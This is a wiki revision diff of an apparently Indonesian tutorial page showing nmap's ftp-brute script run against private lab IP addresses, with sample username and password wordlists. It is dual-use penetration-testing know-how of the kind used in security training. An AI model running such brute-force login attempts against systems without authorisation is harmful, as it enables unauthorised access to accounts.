Difference between revisions of "Nmap: brute force hack ftp password"

From OnnoWiki
Jump to navigation Jump to search
Line 24: Line 24:
 
  nmap -p21 –script ftp-brute.nse –script-args \
 
  nmap -p21 –script ftp-brute.nse –script-args \
 
   userdb=/root/user.txt,passdb=/root/pass.txt 192.168.1.105
 
   userdb=/root/user.txt,passdb=/root/pass.txt 192.168.1.105
 +
 +
nmap -p21 –script ftp-brute.nse –script-args \
 +
  userdb=user.txt,passdb=pass.txt 192.168.3.47

Revision as of 10:32, 3 November 2022

Script types: portrule
Categories: intrusive, brute
Download: https://svn.nmap.org/nmap/scripts/ftp-brute.nse

isi

user.txt
admin
root
onno
dll

isi

pass.txt
123456789
123456
12345
dll
nmap -p21 –script ftp-brute.nse –script-args \
  userdb=/root/user.txt,passdb=/root/pass.txt 192.168.1.105
nmap -p21 –script ftp-brute.nse –script-args \
  userdb=user.txt,passdb=pass.txt 192.168.3.47